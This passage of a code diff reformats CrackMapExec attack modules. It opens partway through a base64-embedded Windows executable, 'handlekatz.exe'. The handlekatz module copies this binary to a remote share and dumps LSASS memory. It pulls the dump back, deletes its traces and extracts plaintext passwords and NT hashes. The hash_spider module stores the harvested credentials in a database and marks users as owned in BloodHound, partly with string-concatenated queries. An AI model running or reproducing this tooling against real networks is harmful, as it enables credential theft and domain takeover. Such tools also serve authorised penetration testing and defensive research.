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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEARQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAAAkBlAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4BlAAAAAAACwGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + ) self.handlekatz = "handlekatz.exe" self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path @@ -54,11 +55,15 @@ class CMEModule: if self.useembeded: with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz: handlekatz.write(self.handlekatz_embeded) - - context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}") + + context.log.display( + f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}" + ) with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz: try: - connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read) + connection.conn.putFile( + self.share, self.tmp_share + self.handlekatz, handlekatz.read + ) context.log.success( f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}" ) @@ -66,7 +71,7 @@ class CMEModule: context.log.fail(f"Error writing file to share {self.share}: {e}") # get LSASS PID via `tasklist` - command = "tasklist /v /fo csv | findstr /i \"lsass\"" + command = 'tasklist /v /fo csv | findstr /i "lsass"' context.log.display(f"Getting lsass PID via command {command}") p = connection.execute(command, True) context.log.debug(f"Command Result: {p}") @@ -77,10 +82,18 @@ class CMEModule: context.log.fail(f"Failed to execute command to get LSASS PID") return # we get a CSV string back from `tasklist`, so we grab the PID from it - pid = p.split(',')[1][1:-1] + pid = p.split(",")[1][1:-1] context.log.debug(f"pid: {pid}") - command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" + command = ( + self.tmp_dir + + self.handlekatz + + " --pid:" + + pid + + " --outfile:" + + self.tmp_dir + + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" + ) context.log.display(f"Executing command {command}") p = connection.execute(command, True) @@ -103,9 +116,11 @@ class CMEModule: machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") - with open(self.dir_result + machine_name, 'wb+') as dump_file: + with open(self.dir_result + machine_name, "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) + connection.conn.getFile( + self.share, self.tmp_share + machine_name, dump_file.write + ) context.log.success( f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}" ) @@ -114,15 +129,21 @@ class CMEModule: try: connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success(f"Deleted handlekatz file on the {self.share} share") + context.log.success( + f"Deleted handlekatz file on the {self.share} share" + ) except Exception as e: - context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") - + context.log.fail( + f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}" + ) + try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: - context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") + context.log.fail( + f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}" + ) h_in = open(self.dir_result + machine_name, "rb") h_out = open(self.dir_result + machine_name + ".decode", "wb") @@ -130,9 +151,13 @@ class CMEModule: bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) - context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") - - chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)] + context.log.display( + f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)" + ) + + chunks = [ + bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000) + ] for chunk in chunks: for i in range(0, len(chunk)): chunk[i] ^= 0x41 @@ -155,23 +180,39 @@ class CMEModule: "livessp_creds", "kerberos_creds", "credman_creds", - "tspkg_creds" + "tspkg_creds", ] for luid in pypy_parse.logon_sessions: for ssp in ssps: - for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): + for cred in getattr( + pypy_parse.logon_sessions[luid], ssp, [] + ): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if username and (password or NThash) and "$" not in username: + if ( + username + and (password or NThash) + and "$" not in username + ): print_pass = password if password else NThash - context.log.highlight(domain + "\\" + username + ":" + print_pass) - if "." not in domain and domain.upper() in connection.domain.upper(): + context.log.highlight( + domain + "\\" + username + ":" + print_pass + ) + if ( + "." not in domain + and domain.upper() in connection.domain.upper() + ): domain = connection.domain - credz_bh.append({"username": username.upper(), "domain": domain.upper()}) + credz_bh.append( + { + "username": username.upper(), + "domain": domain.upper(), + } + ) if len(credz_bh) > 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: diff --git a/cme/modules/hash_spider.py b/cme/modules/hash_spider.py index 26f6160a..b1de8cff 100644 --- a/cme/modules/hash_spider.py +++ b/cme/modules/hash_spider.py @@ -18,7 +18,7 @@ reported_da = [] def neo4j_conn(context, connection, driver): - if connection.config.get('BloodHound', 'bh_enabled') != "False": + if connection.config.get("BloodHound", "bh_enabled") != "False": context.log.display("Connecting to Neo4j/Bloodhound.") try: session = driver.session() @@ -41,7 +41,8 @@ def neo4j_local_admins(context, driver): try: session = driver.session() admins = session.run( - "MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts + "MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC" + ) # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts context.log.success("Admins and PCs obtained.") except Exception: context.log.fail("Could not pull admins") @@ -51,53 +52,90 @@ def neo4j_local_admins(context, driver): def create_db(local_admins, dbconnection, cursor): cursor.execute( - '''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''') + """CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""" + ) for result in local_admins: - cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", - (result.get('COMPUTER'), str(result.get('USERS'), ), 'FALSE')) + cursor.execute( + "INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", + ( + result.get("COMPUTER"), + str( + result.get("USERS"), + ), + "FALSE", + ), + ) dbconnection.commit() - cursor.execute('''CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)''') + cursor.execute( + """CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""" + ) admin_users = [] for result in local_admins: - for user in result.get('USERS'): + for user in result.get("USERS"): if user not in admin_users: admin_users.append(user) for user in admin_users: - cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user]) + cursor.execute( + """INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user] + ) dbconnection.commit() def process_creds(context, connection, credentials_data, dbconnection, cursor, driver): if connection.args.local_auth: - context.log.extra['host'] = connection.conn.getServerDNSDomainName() + context.log.extra["host"] = connection.conn.getServerDNSDomainName() else: - context.log.extra['host'] = connection.domain - context.log.extra['hostname'] = connection.host.upper() + context.log.extra["host"] = connection.domain + context.log.extra["hostname"] = connection.host.upper() for result in credentials_data: - username = result["username"].upper().split('@')[0] + username = result["username"].upper().split("@")[0] nthash = result["nthash"] password = result["password"] if result["password"] is not None: context.log.highlight( - f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") - cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) + f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH." + ) + cursor.execute( + "UPDATE admin_users SET password = ? WHERE username LIKE '" + + username + + "%'", + [password], + ) username = f"{username.upper()}@{context.log.extra['host'].upper()}" dbconnection.commit() session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') - if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0': + session.run( + 'MATCH (u) WHERE (u.name = "' + + username + + '") SET u.owned=True RETURN u,u.name,u.owned' + ) + if ( + nthash == "aad3b435b51404eeaad3b435b51404ee" + or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0" + ): context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: context.log.highlight( - f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") + f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH." + ) found_users.append(username) - cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) + cursor.execute( + "UPDATE admin_users SET hash = ? WHERE username LIKE '" + + username + + "%'", + [nthash], + ) dbconnection.commit() username = f"{username.upper()}@{context.log.extra['host'].upper()}" session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + session.run( + 'MATCH (u) WHERE (u.name = "' + + username + + '") SET u.owned=True RETURN u,u.name,u.owned' + ) path_to_da = session.run( - "MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true 